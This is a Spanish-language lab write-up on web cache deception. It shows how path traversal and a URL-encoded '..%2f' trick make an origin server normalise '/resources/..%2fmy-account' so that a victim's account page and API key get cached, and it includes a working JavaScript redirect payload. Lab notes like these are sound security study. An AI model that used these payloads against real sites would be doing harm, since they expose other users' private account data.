> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/web-cache-deception/cheating-cache-via-origin-server-side-normalization.md).

# Engañar a la caché mediante la normalización del lado del servidor de origen

### Explotar la normalización del servidor de origen para la engañifa de caché web

#### Objetivo del laboratorio

Recupera la \*\*clave API\*\* del usuario **carlos** mediante el abuso de un **caché** comportamiento provocado por una normalización de la URL por el **servidor original**.

#### Acceso

* Conexión posible con: **wiener:peter**
* La lista de delimitadores la proporciona el laboratorio (lista de delimitadores), pero aquí el ataque se basa principalmente en `../` y codificación.

### 1) Observación

* En el **`/resources`** directorio, hay un activo **caché**.
* La idea es, por tanto, pasar una página sensible (**`/my-account`**) para un recurso "almacenable en caché", usando una **ruta de recorrido** que será **normalizada** por el servidor original.

<figure><img src="/files/5c661cd7b8007da89095a85d9b0a38ba6ba35f66" alt=""><figcaption></figcaption></figure>

Ejemplo probado:

```bash
/resources/../my-account
```

<figure><img src="/files/d63e5bcfb138be054622901891eca9504b46a4ba" alt=""><figcaption></figcaption></figure>

### 2) Explotación

#### Idea

1. Obliga a la víctima a cargar una URL que comience con **`/resources/`** (para activar la caché).
2. Volver a **`/my-account`** vía `../` (o su variante codificada).
3. Almacena la respuesta en la caché bajo una clave, luego recupera la página oculta.

{% code overflow="wrap" %}

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/../my-account/?jordan";
</script>
```

{% endcode %}

Según tus pruebas: **no funciona** en este estado

<figure><img src="/files/2fcc75da06f39fbd165a7e5d44724503da10aee8" alt=""><figcaption></figcaption></figure>

### 3) Contorneo: Codifica el backend

Indicas que necesitas **codificamos en URL** el separador para hacer que la normalización original funcione correctamente.

URL utilizada:

```bash
/resources/..%2fmy-account?jordan
```

Carga útil final:

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/..%2fmy-account?jordan";
</script>
```

Resultado: servidor **interpreta** la URL como se esperaba (normalización), lo que permite continuar con el ataque de caché

<figure><img src="/files/051fadf65362b03a414a4f63924623ff784e2db7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/web-cache-deception/cheating-cache-via-origin-server-side-normalization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
